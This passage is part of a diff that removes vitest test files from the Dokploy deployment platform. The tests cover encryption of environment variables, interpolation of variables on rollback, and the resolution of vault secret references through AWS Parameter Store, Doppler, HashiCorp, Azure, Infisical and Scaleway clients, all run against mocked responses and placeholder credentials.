-		send.mockResolvedValue({ Parameters: [], InvalidParameters: ["/missing"] });
-
-		await expect(
-			awsParameterStoreClient.getSecrets(config, ["/missing"]),
-		).rejects.toThrow('AWS Parameter Store: parameter "/missing" not found');
-	});
-
-	it("tests the connection within the configured hierarchy", async () => {
-		send.mockResolvedValue({ Parameters: [] });
-
-		await awsParameterStoreClient.testConnection({
-			...config,
-			parameterPath: "/production/my-app/",
-		});
-
-		expect(send).toHaveBeenCalledTimes(1);
-		expect((send.mock.calls[0]?.[0] as HasInput).input).toEqual({
-			ParameterFilters: [
-				{
-					Key: "Path",
-					Option: "Recursive",
-					Values: ["/production/my-app"],
-				},
-			],
-			MaxResults: 1,
-		});
-	});
-
-	it("explains the discovery permission when connection testing is denied", async () => {
-		const error = new Error("not authorized");
-		error.name = "AccessDeniedException";
-		send.mockRejectedValue(error);
-
-		await expect(
-			awsParameterStoreClient.testConnection(config),
-		).rejects.toThrow("ssm:DescribeParameters");
-	});
-
-	it("lists parameter names across pages within the configured hierarchy", async () => {
-		paginate.mockReturnValue(
-			(async function* () {
-				yield { Parameters: [{ Name: "/prod/db" }] };
-				yield { Parameters: [{ Name: "/prod/api" }] };
-			})(),
-		);
-
-		const names = await awsParameterStoreClient.listSecretNames?.({
-			...config,
-			parameterPath: " /production/my-app/ ",
-		});
-
-		expect(names).toEqual(["/prod/db", "/prod/api"]);
-		expect(paginate).toHaveBeenCalledWith(
-			expect.objectContaining({ pageSize: 50 }),
-			{
-				ParameterFilters: [
-					{
-						Key: "Path",
-						Option: "Recursive",
-						Values: ["/production/my-app"],
-					},
-				],
-			},
-		);
-	});
-
-	it("resolves a vault reference through the registered provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "ssm-prod",
-				providerType: "aws-parameter-store",
-				config,
-				assignments: [{ projectId: "project-1", environmentIds: [] }],
-			},
-		]);
-		send.mockResolvedValue({
-			Parameters: [{ Name: "/prod/database-password", Value: "resolved" }],
-		});
-
-		const result = await resolveVaultReferences(
-			"DB_PASSWORD=${{vault.ssm-prod./prod/database-password}}",
-			{
-				organizationId: "organization-1",
-				projectId: "project-1",
-				environmentId: "environment-1",
-			},
-		);
-
-		expect(result).toBe("DB_PASSWORD=resolved");
-	});
-});

apps/dokploy/__test__/env/encryption.test.ts

@@ -1,93 +0,0 @@
-import {
-	decryptValue,
-	encryptValue,
-	exportEncryptionKeys,
-	isEncrypted,
-} from "@dokploy/server/lib/encryption";
-import { afterEach, describe, expect, it, vi } from "vitest";
-
-describe("encryptValue / decryptValue", () => {
-	it("round-trips a value", () => {
-		const value =
-			"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
-		const encrypted = encryptValue(value);
-
-		expect(encrypted).not.toBe(value);
-		expect(isEncrypted(encrypted)).toBe(true);
-		expect(encrypted).not.toContain("secret");
-		expect(decryptValue(encrypted)).toBe(value);
-	});
-
-	it("uses a random IV so equal inputs produce different ciphertexts", () => {
-		const value = "KEY=value";
-		expect(encryptValue(value)).not.toBe(encryptValue(value));
-	});
-
-	it("passes legacy plaintext through on decrypt", () => {
-		const plaintext = "KEY=legacy-plaintext-value";
-		expect(decryptValue(plaintext)).toBe(plaintext);
-	});
-
-	it("passes empty values through unchanged", () => {
-		expect(encryptValue("")).toBe("");
-		expect(decryptValue("")).toBe("");
-	});
-
-	it("does not double-encrypt an already encrypted value", () => {
-		const encrypted = encryptValue("KEY=value");
-		expect(encryptValue(encrypted)).toBe(encrypted);
-	});
-
-	it("throws a descriptive error on tampered ciphertext", () => {
-		const encrypted = encryptValue("KEY=value");
-		const tampered = `${encrypted.slice(0, -4)}AAAA`;
-		expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
-	});
-
-	it("exports the derived keys as 32-byte hex lines for backups", () => {
-		expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
-	});
-});
-
-describe("dedicated ENCRYPTION_KEY", () => {
-	afterEach(() => {
-		vi.unstubAllEnvs();
-		vi.resetModules();
-	});
-
-	const loadWithEncryptionKey = async (key: string) => {
-		vi.stubEnv("ENCRYPTION_KEY", key);
-		vi.resetModules();
-		return await import("@dokploy/server/lib/encryption");
-	};
-
-	it("encrypts with the dedicated key when set", async () => {
-		const withKey = await loadWithEncryptionKey("my-dedicated-key");
-		const encrypted = withKey.encryptValue("KEY=value");
-
-		expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
-		// The default (auth-secret derived) module cannot read it
-		expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
-	});
-
-	it("still decrypts legacy values via the auth-secret fallback", async () => {
-		// Encrypted before the install adopted a dedicated key
-		const legacyEncrypted = encryptValue("KEY=legacy-value");
-
-		const withKey = await loadWithEncryptionKey("my-dedicated-key");
-		expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
-	});
-
-	it("re-encrypts with the dedicated key on write", async () => {
-		const withKey = await loadWithEncryptionKey("my-dedicated-key");
-		const reEncrypted = withKey.encryptValue(
-			withKey.decryptValue(encryptValue("KEY=migrated")),
-		);
-
-		const other = await loadWithEncryptionKey("another-key");
-		// Readable only by the dedicated key (or its own fallback), proving
-		// the write used the primary key, not the legacy one
-		expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
-		expect(() => other.decryptValue(reEncrypted)).toThrow();
-	});
-});

apps/dokploy/__test__/env/rollback-environment.test.ts

@@ -1,108 +0,0 @@
-import { prepareEnvironmentVariables } from "@dokploy/server/index";
-import { describe, expect, it } from "vitest";
-
-const projectEnv = `
-ENVIRONMENT=staging
-DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
-`;
-
-const environmentEnv = `
-NODE_ENV=production
-POSTGRES_HOST=postgres.internal
-POSTGRES_PORT=5432
-REDIS_URL=redis://redis.internal:6379
-`;
-
-const serviceEnv = `
-NODE_ENV=\${{environment.NODE_ENV}}
-REDIS_URL=\${{environment.REDIS_URL}}
-PORT=3000
-`;
-
-/**
- * A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
- * the service env, the environment env and the project env captured at deploy time.
- */
-const fullContext = {
-	env: serviceEnv,
-	environment: {
-		env: environmentEnv,
-		project: {
-			env: projectEnv,
-		},
-	},
-};
-
-describe("prepareEnvironmentVariables for application rollback", () => {
-	it("resolves environment variables from the rollback snapshot", () => {
-		const result = prepareEnvironmentVariables(
-			fullContext.env,
-			fullContext.environment.project.env,
-			fullContext.environment.env,
-		);
-
-		expect(result).toEqual([
-			"NODE_ENV=production",
-			"REDIS_URL=redis://redis.internal:6379",
-			"PORT=3000",
-		]);
-	});
-
-	it("resolves project and environment variables together on rollback", () => {
-		const rollbackEnv = `
-DATABASE_URL=\${{project.DATABASE_URL}}
-POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
-ENVIRONMENT=\${{project.ENVIRONMENT}}
-`;
-
-		const result = prepareEnvironmentVariables(
-			rollbackEnv,
-			projectEnv,
-			environmentEnv,
-		);
-
-		expect(result).toEqual([
-			"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
-			"POSTGRES_URL=postgres://postgres.internal:5432/app",
-			"ENVIRONMENT=staging",
-		]);
-	});
-
-	it("throws when the environment env of the snapshot is not passed", () => {
-		expect(() =>
-			prepareEnvironmentVariables(fullContext.env, projectEnv),
-		).toThrow("Invalid environment variable: environment.NODE_ENV");
-	});
-
-	it("maintains precedence: service > environment > project on rollback", () => {
-		const conflictingProjectEnv = `
-NODE_ENV=project
-API_URL=https://project.api.com
-`;
-
-		const conflictingEnvironmentEnv = `
-NODE_ENV=environment
-API_URL=https://environment.api.com
-`;
-
-		const rollbackEnv = `
-NODE_ENV=service
-PROJECT_API_URL=\${{project.API_URL}}
-ENVIRONMENT_API_URL=\${{environment.API_URL}}
-SELF_REFERENCE=\${{NODE_ENV}}
-`;
-
-		const result = prepareEnvironmentVariables(
-			rollbackEnv,
-			conflictingProjectEnv,
-			conflictingEnvironmentEnv,
-		);
-
-		expect(result).toEqual([
-			"NODE_ENV=service",
-			"PROJECT_API_URL=https://project.api.com",
-			"ENVIRONMENT_API_URL=https://environment.api.com",
-			"SELF_REFERENCE=service",
-		]);
-	});
-});

apps/dokploy/__test__/env/vault.test.ts

@@ -1,963 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const findMany = vi.fn();
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: {
-			vaultProvider: {
-				findMany: (...args: unknown[]) => findMany(...args),
-			},
-		},
-	},
-}));
-
-import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
-import {
-	resolveVaultReferences,
-	withResolvedVaultRefs,
-} from "@dokploy/server/utils/vault";
-import { azureClient } from "@dokploy/server/utils/vault/azure";
-import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
-import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
-import { infisicalClient } from "@dokploy/server/utils/vault/infisical";
-import { phaseClient } from "@dokploy/server/utils/vault/phase";
-import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
-
-const mockFetch = vi.fn();
-global.fetch = mockFetch as typeof fetch;
-
-const jsonResponse = (body: unknown, ok = true, status = 200) =>
-	({
-		ok,
-		status,
-		json: async () => body,
-	}) as Response;
-
-beforeEach(() => {
-	findMany.mockReset();
-	mockFetch.mockReset();
-});
-
-const scope = {
-	organizationId: "org-1",
-	projectId: "proj-1",
-	environmentId: "env-1",
-};
-
-const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
-
-describe("resolveVaultReferences", () => {
-	it("returns input untouched and skips the db when no refs are present", async () => {
-		const env = "FOO=bar\nBAZ=${{project.QUX}}";
-		const result = await resolveVaultReferences(env, scope);
-		expect(result).toBe(env);
-		expect(findMany).not.toHaveBeenCalled();
-	});
-
-	it("returns null/empty inputs unchanged", async () => {
-		expect(await resolveVaultReferences(null, scope)).toBeNull();
-		expect(await resolveVaultReferences("", scope)).toBe("");
-	});
-
-	it("throws when refs exist but no organization context is given", async () => {
-		await expect(
-			resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
-		).rejects.toThrow("not supported in this context");
-	});
-
-	it("throws for an unknown provider", async () => {
-		findMany.mockResolvedValue([]);
-		await expect(
-			resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
-		).rejects.toThrow('Vault provider "missing" not found');
-	});
-
-	it("throws when the provider is not assigned to the project", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [{ projectId: "other-project", environmentIds: [] }],
-			},
-		]);
-		await expect(
-			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
-		).rejects.toThrow("not enabled for this project/environment");
-	});
-
-	it("throws when the provider is restricted to another environment", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [
-					{ projectId: "proj-1", environmentIds: ["production-env"] },
-				],
-			},
-		]);
-		await expect(
-			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
-		).rejects.toThrow("not enabled for this project/environment");
-	});
-
-	it("allows a provider restricted to the matching environment", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
-		const result = await resolveVaultReferences(
-			"FOO=${{vault.prod.SECRET}}",
-			scope,
-		);
-		expect(result).toBe("FOO=value-1");
-	});
-
-	it("resolves refs through a doppler provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "doppler-prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(
-			jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
-		);
-
-		const result = await resolveVaultReferences(
-			"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
-			scope,
-		);
-
-		expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-	});
-
-	it("throws when the secret is missing in the provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "doppler-prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
-
-		await expect(
-			resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
-		).rejects.toThrow('secret "MISSING" not found');
-	});
-});
-
-describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
-	it("resolves entity env sources so sync interpolation sees real values", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
-
-		const entity = {
-			env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
-			environment: {
-				environmentId: "env-1",
-				env: null,
-				project: {
-					projectId: "proj-1",
-					env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
-					organizationId: "org-1",
-				},
-			},
-		};
-
-		const resolved = await withResolvedVaultRefs(entity);
-		const prepared = prepareEnvironmentVariables(
-			resolved.env,
-			resolved.environment.project.env,
-			resolved.environment.env,
-		);
-
-		expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
-	});
-
-	it("resolves buildArgs and buildSecrets when present", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
-
-		const resolved = await withResolvedVaultRefs({
-			env: "FOO=bar",
-			buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
-			buildSecrets: null,
-			environment: {
-				environmentId: "env-1",
-				env: null,
-				project: { projectId: "proj-1", env: null, organizationId: "org-1" },
-			},
-		});
-
-		expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
-		expect(resolved.buildSecrets).toBeNull();
-		expect(resolved.env).toBe("FOO=bar");
-	});
-
-	it.each([
-		["service env", { env: "SECRET=${{vault.locked.X}}" }],
-		["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
-		["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
-		["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
-	])(
-		"rejects a ref to an unassigned provider placed in the %s",
-		async (_source, overrides) => {
-			findMany.mockResolvedValue([
-				{
-					name: "locked",
-					providerType: "doppler",
-					config: { providerType: "doppler", serviceToken: "dp.st.token" },
-					assignments: [{ projectId: "other-project", environmentIds: [] }],
-				},
-			]);
-
-			const entity = {
-				env: (overrides as { env?: string }).env ?? "FOO=bar",
-				buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
-				environment: {
-					environmentId: "env-1",
-					env:
-						(overrides as { environmentEnv?: string }).environmentEnv ?? null,
-					project: {
-						projectId: "proj-1",
-						env: (overrides as { projectEnv?: string }).projectEnv ?? null,
-						organizationId: "org-1",
-					},
-				},
-			};
-
-			await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
-				"not enabled for this project/environment",
-			);
-			expect(mockFetch).not.toHaveBeenCalled();
-		},
-	);
-
-	it("rejects a ref restricted to another environment from the environment env", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod-only",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [
-					{ projectId: "proj-1", environmentIds: ["production-env"] },
-				],
-			},
-		]);
-
-		await expect(
-			withResolvedVaultRefs({
-				env: null,
-				environment: {
-					environmentId: "dev-env",
-					env: "SECRET=${{vault.prod-only.X}}",
-					project: { projectId: "proj-1", env: null, organizationId: "org-1" },
-				},
-			}),
-		).rejects.toThrow("not enabled for this project/environment");
-		expect(mockFetch).not.toHaveBeenCalled();
-	});
-
-	it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
-		expect(() =>
-			prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
-		).toThrow("Unresolved vault reference");
-	});
-
-	it("keeps working without vault refs", () => {
-		const prepared = prepareEnvironmentVariables(
-			"FOO=${{project.BAR}}",
-			"BAR=baz",
-		);
-		expect(prepared).toEqual(["FOO=baz"]);
-		expect(findMany).not.toHaveBeenCalled();
-	});
-});
-
-describe("hashicorp client", () => {
-	const config = {
-		providerType: "hashicorp" as const,
-		url: "https://vault.example.com",
-		token: "hvs.token",
-		mount: "secret",
-	};
-
-	it("rejects refs without a field", async () => {
-		await expect(
-			hashicorpClient.getSecrets(config, ["myapp/prod"]),
-		).rejects.toThrow("expected format <path>:<field>");
-	});
-
-	it("groups refs by path and picks fields from KV v2 data", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
-		);
-
-		const result = await hashicorpClient.getSecrets(config, [
-			"myapp/prod:USER",
-			"myapp/prod:PASS",
-		]);
-
-		expect(result).toEqual({
-			"myapp/prod:USER": "admin",
-			"myapp/prod:PASS": "pw",
-		});
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		expect(mockFetch.mock.calls[0]?.[0]).toBe(
-			"https://vault.example.com/v1/secret/data/myapp/prod",
-		);
-	});
-
-	it("throws when a field is missing", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
-		await expect(
-			hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
-		).rejects.toThrow('field "MISSING" not found');
-	});
-
-	it("lists full path:field refs by walking directories", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("/metadata?list=true")) {
-				return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
-			}
-			if (url.includes("/metadata/myapp?list=true")) {
-				return jsonResponse({ data: { keys: ["prod"] } });
-			}
-			if (url.includes("/data/myapp/prod")) {
-				return jsonResponse({
-					data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
-				});
-			}
-			if (url.includes("/data/shared")) {
-				return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
-			}
-			return jsonResponse({}, false, 404);
-		});
-
-		const names = await hashicorpClient.listSecretNames?.(config);
-
-		expect(names).toEqual([
-			"myapp/prod:API_KEY",
-			"myapp/prod:DB_PASSWORD",
-			"shared:STRIPE_KEY",
-		]);
-	});
-});
-
-describe("azure client", () => {
-	const config = {
-		providerType: "azure" as const,
-		vaultUri: "https://my-vault.vault.azure.net",
-		tenantId: "tenant-1",
-		clientId: "client-1",
-		clientSecret: "secret-1",
-	};
-
-	it("authenticates and reads secrets by name", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("login.microsoftonline.com/tenant-1")) {
-				return jsonResponse({ access_token: "azure-token" });
-			}
-			if (url.includes("/secrets/db-password?")) {
-				return jsonResponse({ value: "azure-pw" });
-			}
-			return jsonResponse({}, false, 404);
-		});
-
-		const result = await azureClient.getSecrets(config, ["db-password"]);
-
-		expect(result).toEqual({ "db-password": "azure-pw" });
-	});
-
-	it("throws a clear error for missing secrets", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("login.microsoftonline.com")) {
-				return jsonResponse({ access_token: "azure-token" });
-			}
-			return jsonResponse({}, false, 404);
-		});
-
-		await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
-			'secret "nope" not found',
-		);
-	});
-
-	it("lists secret names from paged results", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("login.microsoftonline.com")) {
-				return jsonResponse({ access_token: "azure-token" });
-			}
-			if (url.includes("skiptoken")) {
-				return jsonResponse({
-					value: [{ id: `${config.vaultUri}/secrets/second` }],
-					nextLink: null,
-				});
-			}
-			return jsonResponse({
-				value: [{ id: `${config.vaultUri}/secrets/first` }],
-				nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
-			});
-		});
-
-		const names = await azureClient.listSecretNames?.(config);
-
-		expect(names).toEqual(["first", "second"]);
-	});
-});
-
-describe("infisical client", () => {
-	const config = {
-		providerType: "infisical" as const,
-		siteUrl: "https://app.infisical.com",
-		clientId: "client-1",
-		clientSecret: "client-secret",
-		projectId: "workspace-1",
-		environmentSlug: "prod",
-		secretPath: "/frontend",
-	};
-
-	const loginResponse = () => jsonResponse({ accessToken: "token-1" });
-	const list = (secrets: Record<string, string>) =>
-		jsonResponse({
-			secrets: Object.entries(secrets).map(([secretKey, secretValue]) => ({
-				secretKey,
-				secretValue,
-			})),
-		});
-	const listPathOf = (callIndex: number) => {
-		const [url] = mockFetch.mock.calls[callIndex] as [string];
-		return new URL(url).searchParams.get("secretPath");
-	};
-
-	it("asks the list endpoint to expand secret references", async () => {
-		mockFetch
-			.mockResolvedValueOnce(loginResponse())
-			.mockResolvedValueOnce(list({ DB_URL: "postgres://real" }));
-
-		const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
-
-		expect(result).toEqual({ DB_URL: "postgres://real" });
-		const [listUrl] = mockFetch.mock.calls[1] as [string];
-		const params = new URL(listUrl).searchParams;
-		expect(params.get("expandSecretReferences")).toBe("true");
-		expect(params.get("workspaceId")).toBe("workspace-1");
-		expect(params.get("environment")).toBe("prod");
-		expect(params.get("secretPath")).toBe("/frontend");
-	});
-
-	it("asks for imported secrets and merges them", async () => {
-		mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
-			jsonResponse({
-				secrets: [],
-				imports: [
-					{
-						secretPath: "/shared",
-						secrets: [
-							{ secretKey: "DB_URL", secretValue: "postgres://imported" },
-						],
-					},
-				],
-			}),
-		);
-
-		const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
-
-		expect(result).toEqual({ DB_URL: "postgres://imported" });
-		const [listUrl] = mockFetch.mock.calls[1] as [string];
-		// snake_case on purpose: `includeImports` is silently ignored and the
-		// response comes back with an empty `imports` array.
-		expect(new URL(listUrl).searchParams.get("include_imports")).toBe("true");
-	});
-
-	it("lets the later import win when two define the same key", async () => {
-		mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
-			jsonResponse({
-				secrets: [],
-				imports: [
-					{
-						secretPath: "/base",
-						secrets: [{ secretKey: "DB_URL", secretValue: "postgres://base" }],
-					},
-					{
-						secretPath: "/override",
-						secrets: [
-							{ secretKey: "DB_URL", secretValue: "postgres://override" },
-						],
-					},
-				],
-			}),
-		);
-
-		const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
-
-		// Infisical documents this order: "If two imports carry a secret with the
-		// same name, the value from the bottom-most import wins." The response
-		// lists imports in that order, so assigning them in sequence matches it.
-		expect(result).toEqual({ DB_URL: "postgres://override" });
-	});
-
-	it("lets a folder's own secret win over an imported one of the same name", async () => {
-		mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
-			jsonResponse({
-				secrets: [{ secretKey: "DB_URL", secretValue: "postgres://local" }],
-				imports: [
-					{
-						secretPath: "/shared",
-						secrets: [
-							{ secretKey: "DB_URL", secretValue: "postgres://imported" },
-						],
-					},
-				],
-			}),
-		);
-
-		const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
-
-		expect(result).toEqual({ DB_URL: "postgres://local" });
-	});
-
-	it("throws a clear error for a missing secret", async () => {
-		mockFetch
-			.mockResolvedValueOnce(loginResponse())
-			.mockResolvedValueOnce(jsonResponse({ secrets: [] }));
-
-		await expect(
-			infisicalClient.getSecrets(config, ["ABSENT"]),
-		).rejects.toThrow('secret "ABSENT" not found in environment "prod"');
-	});
-
-	it("propagates authentication failures with the status code", async () => {
-		mockFetch.mockResolvedValueOnce(jsonResponse({}, false, 401));
-
-		await expect(
-			infisicalClient.getSecrets(config, ["DB_URL"]),
-		).rejects.toThrow("authentication failed (status 401)");
-	});
-
-	it("resolves a relative <path>:<KEY> ref against the provider path", async () => {
-		mockFetch
-			.mockResolvedValueOnce(loginResponse())
-			.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
-
-		const result = await infisicalClient.getSecrets(config, [
-			"shared/sentry:SENTRY_DSN",
-		]);
-
-		expect(result).toEqual({
-			"shared/sentry:SENTRY_DSN": "https://key@sentry.io/1",
-		});
-		expect(listPathOf(1)).toBe("/frontend/shared/sentry");
-	});
-
-	it("treats a leading slash as an absolute path", async () => {
-		mockFetch
-			.mockResolvedValueOnce(loginResponse())
-			.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
-
-		await infisicalClient.getSecrets(config, ["/external/sentry:SENTRY_DSN"]);
-
-		expect(listPathOf(1)).toBe("/external/sentry");
-	});
-
-	it("keeps the root path clean when the provider sits at /", async () => {
-		mockFetch
-			.mockResolvedValueOnce(loginResponse())
-			.mockResolvedValueOnce(list({ KEY: "value" }));
-
-		await infisicalClient.getSecrets({ ...config, secretPath: "/" }, [
-			"external/sentry:KEY",
-		]);
-
-		expect(listPathOf(1)).toBe("/external/sentry");
-	});
-
-	it("logs in once and fetches each path once", async () => {
-		const byPath: Record<string, Record<string, string>> = {
-			"/frontend": { A: "a", B: "b" },
-			"/frontend/other": { C: "c" },
-		};
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("/auth/universal-auth/login")) return loginResponse();
-			const path = new URL(url).searchParams.get("secretPath") as string;
-			return list(byPath[path] ?? {});
-		});
-
-		const result = await infisicalClient.getSecrets(config, [
-			"A",
-			"B",
-			"other:C",
-		]);
-
-		expect(result).toEqual({ A: "a", B: "b", "other:C": "c" });
-
-		const urls = mockFetch.mock.calls.map(([url]) => url as string);
-		expect(urls.filter((u) => u.includes("/login"))).toHaveLength(1);
-		expect(
-			urls
-				.filter((u) => u.includes("/secrets/raw?"))
-				.map((u) => new URL(u).searchParams.get("secretPath"))
-				.sort(),
-		).toEqual(["/frontend", "/frontend/other"]);
-	});
-
-	it("names the path when a secret is missing from an explicit one", async () => {
-		mockFetch
-			.mockResolvedValueOnce(loginResponse())
-			.mockResolvedValueOnce(list({}));
-
-		await expect(
-			infisicalClient.getSecrets(config, ["external/sentry:ABSENT"]),
-		).rejects.toThrow(
-			'secret "ABSENT" not found at "/frontend/external/sentry"',
-		);
-	});
-
-	it("rejects a ref with an empty path or key", async () => {
-		await expect(infisicalClient.getSecrets(config, [":KEY"])).rejects.toThrow(
-			"expected format <path>:<KEY>",
-		);
-		await expect(
-			infisicalClient.getSecrets(config, ["external/sentry:"]),
-		).rejects.toThrow("expected format <path>:<KEY>");
-	});
-});
-
-describe("doppler client", () => {
-	it("propagates auth errors with the status code", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
-		await expect(
-			dopplerClient.getSecrets(
-				{ providerType: "doppler", serviceToken: "bad" },
-				["FOO"],
-			),
-		).rejects.toThrow("status 401");
-	});
-});
-
-describe("scaleway client", () => {
-	const config = {
-		providerType: "scaleway" as const,
-		region: "fr-par",
-		projectId: "project-1",
-		secretKey: "scw-secret-key",
-		apiUrl: "https://api.scaleway.com",
-	};
-
-	const accessResponse = (value: string) =>
-		jsonResponse({
-			secret_id: "secret-1",
-			revision: 1,
-			data: Buffer.from(value).toString("base64"),
-		});
-
-	it("reads a secret by name from the root path and decodes the payload", async () => {
-		mockFetch.mockResolvedValue(accessResponse("postgres://real"));
-
-		const result = await scalewayClient.getSecrets(config, ["db-url"]);
-
-		expect(result).toEqual({ "db-url": "postgres://real" });
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toBe(
-			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
-		);
-		expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
-			"scw-secret-key",
-		);
-	});
-
-	it("sends the folder of a path-qualified ref as secret_path", async () => {
-		mockFetch.mockResolvedValue(accessResponse("value"));
-
-		await scalewayClient.getSecrets(config, ["prod/db/password"]);
-
-		expect(mockFetch.mock.calls[0]?.[0]).toContain(
-			"secret_name=password&secret_path=%2Fprod%2Fdb",
-		);
-	});
-
-	it("extracts a field from a JSON secret and fetches the secret once", async () => {
-		mockFetch.mockResolvedValue(
-			accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
-		);
-
-		const result = await scalewayClient.getSecrets(config, [
-			"db-creds:user",
-			"db-creds:port",
-		]);
-
-		expect(result).toEqual({
-			"db-creds:user": "admin",
-			"db-creds:port": "5432",
-		});
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-	});
-
-	it("throws when the secret is not JSON but a field is requested", async () => {
-		mockFetch.mockResolvedValue(accessResponse("plain-value"));
-
-		await expect(
-			scalewayClient.getSecrets(config, ["db-creds:user"]),
-		).rejects.toThrow("is not JSON");
-	});
-
-	it("throws when the requested field is missing", async () => {
-		mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
-
-		await expect(
-			scalewayClient.getSecrets(config, ["db-creds:password"]),
-		).rejects.toThrow('field "password" not found');
-	});
-
-	it("throws a clear error for a missing secret", async () => {
